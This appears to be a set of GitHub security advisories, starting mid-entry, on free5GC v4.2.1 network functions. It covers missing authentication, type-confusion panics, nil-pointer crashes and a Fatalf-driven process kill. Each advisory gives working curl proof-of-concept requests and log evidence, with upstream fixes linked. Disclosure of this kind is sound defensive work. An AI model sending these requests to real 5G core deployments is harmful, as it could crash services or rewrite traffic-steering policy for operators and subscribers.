3. READ with forged token -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1

4. PATCH with forged token -> 500 Query to UDR failed (still reaches business logic, not 401/403, so auth bypass confirmed): curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1

5. DELETE with forged token -> 204 No Content: curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1

NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including AnyUeInd=true group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence.

The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/apiaccesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.

Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.

Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22 - NRF endpoint: http://10.100.200.3:8000

Root cause is in the access-token request parser: - NFs/nrf/internal/sbi/apiaccesstoken.go:52 - NFs/nrf/internal/sbi/apiaccesstoken.go:87 - NFs/nrf/internal/sbi/apiaccesstoken.go:98 - NFs/nrf/internal/sbi/apiaccesstoken.go:100 - NFs/nrf/internal/sbi/apiaccesstoken.go:112

The model definition lives in free5gc/openapi: - models/modelnrfaccesstokenaccesstokenreq.go:27 - models/modelnrfaccesstokenaccesstokenreq.go:29 - models/modelnrfaccesstokenaccesstokenreq.go:30 - models/modelnrfaccesstokenaccesstokenreq.go:31

The parser's effective shape is: parse value as models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.

Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - requesterPlmnList -> panic assigning models.PlmnId to []models.PlmnId - requesterSnssaiList -> panic assigning models.PlmnId to []models.Snssai - requesterSnpnList -> panic assigning models.PlmnId to []models.PlmnIdNid - targetSnpn -> panic assigning models.PlmnId to models.PlmnIdNid - targetSnssaiList -> panic assigning models.PlmnId to []models.Snssai - targetNsiList -> panic assigning models.PlmnId to []string

PoC Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.

1. requesterPlmnList -> []models.PlmnId mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'

2. requesterSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'

3. requesterSnpnList -> []models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'

4. targetSnpn -> models.PlmnIdNid mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'

5. targetSnssaiList -> []models.Snssai mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'

6. targetNsiList -> []string mismatch: curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'

Observed response (per request, no body returned): HTTP/1.1 500 Internal Server Error Content-Length: 0

NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type: [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token |

Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).

This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.

What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than 400 validation) and pollute logs / rotate out useful diagnostic history.

No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Incorrect Type Cast
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USERNOTFOUND problem-details on the miss path, but execution continues and immediately runs value.(udrcontext.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.

This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface): go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) In the processor: go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USERNOTFOUND") }

UESubsData := value.(udrcontext.UESubsData) // panics: nil interface When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(udrcontext.UESubsData) panics with: panic: interface conversion: interface {} is nil, not context.UESubsData

Code evidence (paths in free5gc/udr): - Route exposure + handler dispatch: - NFs/udr/internal/sbi/apidatarepository.go:2161 - NFs/udr/internal/sbi/apidatarepository.go:2170 - NFs/udr/internal/sbi/apidatarepository.go:2172 - Panic root cause (nil interface type assertion): - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:53 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:56 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:61

PoC Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.

1. Restart UDR (clean state -- proves no precondition is needed): docker restart udr

2. Obtain a valid nudr-dr token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

3. Trigger the panic with one DELETE for a nonexistent ueId=x: curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' HTTP/1.1 500 Internal Server Error Content-Length: 0

4. UDR container logs (docker logs udr) confirm the nil-interface conversion panic at eventamfsubscriptioninfodocument.go:61 inside RemoveAmfSubscriptionsInfoProcedure: [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(Processor).RemoveAmfSubscriptionsInfoProcedure .../eventamfsubscriptioninfodocument.go:61 github.com/free5gc/udr/internal/sbi.(Server).HandleRemoveAmfSubscriptionsInfo .../apidatarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USERNOTFOUND response would have.

No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks , ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Precondition (one authenticated EE-subscription create allocates UE state): go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udrcontext.UESubsData)) value, = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udrcontext.EeSubscriptionCollection)

Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry: go , ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTIONNOTFOUND") }

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTIONNOTFOUND") } When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.

Code evidence (paths in free5gc/udr): - Precondition route + handler (EE-subscription create that allocates UE state): - NFs/udr/internal/sbi/apidatarepository.go:600 - NFs/udr/internal/sbi/apidatarepository.go:602 - NFs/udr/internal/sbi/apidatarepository.go:2528 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:25 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:30 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:38 - Vulnerable delete route + dispatch: - NFs/udr/internal/sbi/apidatarepository.go:2161 - NFs/udr/internal/sbi/apidatarepository.go:2172 - Panic root cause (nil deref): - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:62 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:64 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:69

PoC Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.

1. Restart UDR (clean state): docker restart udr

2. Obtain a valid nudr-dr token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

3. Create one EE subscription to populate UESubsCollection for ueId=x: curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' \ -H 'Content-Type: application/json' \ --data '{}' HTTP/1.1 201 Created

4. Trigger the panic with a nonexistent subsId: curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' HTTP/1.1 500 Internal Server Error Content-Length: 0

5. UDR container logs (docker logs udr) confirm the nil-pointer panic at eventamfsubscriptioninfodocument.go:69 inside RemoveAmfSubscriptionsInfoProcedure: [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(Processor).RemoveAmfSubscriptionsInfoProcedure .../eventamfsubscriptioninfodocument.go:69 github.com/free5gc/udr/internal/sbi.(Server).HandleRemoveAmfSubscriptionsInfo .../apidatarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTIONNOTFOUND response would have.

No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.

This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.

The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-21 (container log timestamp 2026-03-21T03:06:36Z) - NEF endpoint: http://10.100.200.19:8000

Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased): go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)

switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.INPBDETAILSCTXSTR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.

Code evidence (paths in free5gc/nef): - Patch handler core path: - NFs/nef/internal/sbi/processor/pfd.go:563 - NFs/nef/internal/sbi/processor/pfd.go:610 - Panic site (nil-deref on problemDetails.Cause): - NFs/nef/internal/sbi/processor/pfd.go:622 - Route exposure / dispatch: - NFs/nef/internal/sbi/apipfd.go:168 - NFs/nef/internal/sbi/apipfd.go:188

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.

1. Create an AF context (no Authorization header): curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}'

2. Create a PFD-management transaction: curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'

3. Make UDR access fail (lab simulation): docker stop nrf

4. Trigger the panic with one PATCH: curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' HTTP/1.1 500 Internal Server Error Content-Length: 0

5. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement: [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(Server).apiPatchIndividualApplicationPFDManagement .../apipfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 |

6. Restore for further testing: docker start nrf

Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the errPfdData != nil branch reads problemDetails.Cause even though problemDetails is nil by construction in that branch (the prior case already matched the non-nil case). The intended target was the locally constructed problemDetailsErr.Cause.

Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns 500 (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.

Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.1 - Runtime SMF commit: 8385c00a - Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:47:07Z) - SMF endpoint: http://10.100.200.6:8000

The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:

Vulnerable handler dispatches into topology parsing: POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs")

Code evidence (paths in free5gc/smf): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - NFs/smf/internal/sbi/server.go:76 - NFs/smf/internal/sbi/server.go:78 - Create-or-update handler accepts attacker JSON and forwards it to UpNodesFromConfiguration(): - NFs/smf/internal/sbi/apiupi.go:60 - NFs/smf/internal/sbi/apiupi.go:72 - Pool parsing (input from attacker JSON): - NFs/smf/internal/context/userplaneinformation.go:413 - Overlap check that calls Fatalf: - NFs/smf/internal/context/userplaneinformation.go:479

The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler: - NFs/smf/internal/context/userplaneinformation.go:416 - NFs/smf/internal/context/userplaneinformation.go:424 - NFs/smf/internal/context/userplaneinformation.go:430

PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16): curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'

Client-side observation (server died mid-request, no HTTP response written): curl: (52) Empty reply from server

2. Confirm the SMF container exited: docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' smf Exited (1) 9 seconds ago

3. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process: [FATA][SMF][Init] overlap cidr value between UPFs

Impact Unauthenticated process-kill DoS on the SMF management plane.

1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.

Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.

No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Summary free5GC's NEF mounts the nnef-callback route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid NotifId, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime ServiceList does not declare it (it lists only nnef-pfdmanagement and nnef-oam).

Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: free5gc/nef:v4.2.1 - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, yet the nnef-callback route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by NotifId.

Code evidence (paths in free5gc/nef): - Callback route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:64 - Callback route exposed at /notification/smf: NFs/nef/internal/sbi/apicallback.go:13 - API layer reads raw request bytes and deserializes them before any auth check: NFs/nef/internal/sbi/apicallback.go:23 - Processor looks up the subscription by NotifId: NFs/nef/internal/sbi/processor/callback.go:13 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC Reproduced against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

Send a forged callback request: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf

